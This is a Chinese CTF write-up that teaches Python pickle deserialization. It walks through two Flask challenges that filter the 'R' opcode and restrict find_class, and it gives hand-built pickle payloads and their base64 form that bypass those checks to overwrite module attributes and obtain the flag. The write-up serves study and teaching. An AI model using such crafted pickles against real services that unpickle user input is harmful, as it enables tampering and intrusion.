python pickle反序列化初步学习

预备知识:python、pickle、stack、面向对象基础

致敬:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
注意:此篇文章需先通读文章链接中的一些基础概念,否则理解起来可能存在困难,在对例题进行讲解的过程中不会过多阐述基础概念。

BB几句

其实之前没怎么接触过python pickle模块的反序列化,或者说没接触过反序列化,这次”高校抗疫”CTF线上赛给我上了一课。
有一道webtmp的题目,是与python pickle模块的反序列化有关,我也找到了非常详细的解析(致敬部分已贴出),但是没有沉下心认真地去一步步地做,所以这道题也没有做出来,其实这道题不难,做出来的师傅还是很多的。
相反,内存取证的一道题我根据教程一步步做出来了,也可能是之前web没做出来过题导致了这个结果。还需努力!

相关概念

建议通读 致敬文章。
需要明确的概念:
数据结构–栈。
python数据类型:list、tuple、dict Python中list(列表)、dict(字典)、tuple(元组)、set(集合)详细介绍
pickle、pickletools :详见致敬部分链接。

题目分析

第一题:


题目链接:HITCTF
题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
import pickle

from flask import Flask, Response, render_template, request
import pickletools,sys

app = Flask(__name__)

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = pickle.loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(favorite.name, favorite.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
return 'something wrong...'

sample_obj = Animal('kitty', 'cat')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

题目的要求是,传入一个经过base64加密的pickle序列化后的字符串,在服务器端对该字符串进行解析,如果不包含R指令码并且解析后的对象类型为Animal,并且与其规定的favorite对象的name与category属性都一样的话,则可获得flag。
对代码进行审计,观察第34行,过滤了R指令码,即堵上了RCE这条路。
继续分析,发现并没有重写find_class方法,即可以通过引入favorite.name 和favorite.category的方法通过判定。
即:

1
2
3
o1=Animal()
o1.name=favorite.name
o1.category=favorite.category

这样构造的对象可以保证通过**correct = (result == Animal(favorite.name, favorite.category))**这句代码的判定。
接下来的问题是构造这种对象。
通过对指令码的学习,我们可以构造出这种对象。首先构造正常的animal对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pickle,pickletools
o1=Animal('xx','yy')
normal=pickle.dumps(o1)#这是正常animal经序列化后的数据,
ser=b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00xxq\x04X\x08\x00\x00\x00categoryq\x05X\x02\x00\x00\x00yyq\x06ub.'#这是序列化之后的数据(字符串形式)其实就是normal,我把它打印出来了。
pickletools.dis(normal)
#下面为pickletools.dis(normal)的结果
0: \x80 PROTO 3
2: c GLOBAL '__main__ Animal'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'name'
38: q BINPUT 3
40: X BINUNICODE 'xx'
47: q BINPUT 4
49: X BINUNICODE 'category'
62: q BINPUT 5
64: X BINUNICODE 'yy'
71: q BINPUT 6
73: u SETITEMS (MARK at 28)
74: b BUILD
75: . STOP

根据思路,只需要把40 64标号处的值替换为favorite.name、favorite.category即可。
方法:使用c(global)指令引入我们所需的数据。即把’xx’ 通过c指令换成favorite.name,’yy’换成favorite.category
实现:把ser中xx与yy的编码使用golbal favorite.xx替换。

1
payload=b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03cfavorite\nname\nq\x04X\x08\x00\x00\x00categoryq\x05cfavorite\ncategory\nq\x06ub.'

Then,encode it!

1
print(base64.b64encode(payload))

最终结果:
gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA2NmYXZvcml0ZQpuYW1lCnEEWAgAAABjYXRlZ29yeXEFY2Zhdm9yaXRlCmNhdGVnb3J5CnEGdWIu

第二题

题目链接:HITCTF
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import favorite


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(favorite.name, favorite.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('kitty', 'cat')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

题目分析:相比上一个题,该题多了一个find_class方法的重写。规定了module只能是main中的,所以就无法引入favorite了。
解题思路:
通过__main__.blue引入这一个module,由于命名空间还在main内,故不会被拦截。
然后修改当前引入对象的属性,自定义即可。
然后把这个对象弹出,再压入一个正常的animal对象。注意:该正常对象的属性值须与你刚才设定的属性值相同。
payload=b’\x80\x03c__main__\nfavorite\n}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yyub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yyub.’
经过base64加密后提交即可。

总结

这类问题只能说初步了解,具体还有很多细节没有弄明白。还需要进一步学习。
最后一道题的payload在写完favorite\n后压入一个空dict后,把当前栈这个整体,作为一个list,压进前序栈(opcode: (( 也就是MARK操作符))。之后的操作就是更新favorite.name 和favorite.category分别为xx 和yy。对应X\x04\x00\x00\x00nameX\x02\x00\x00\x00xxX\x08\x00\x00\x00categoryX\x02\x00\x00\x00yy。
然后u就是形成键值对,b-build,把当前键值对的值给前序栈中的对象。这样前半部分的操作就完成了。对该对象修改完之后直接弹出(opcode : 0),不管他了,然后再插一个正经对象,属性值一样就OK。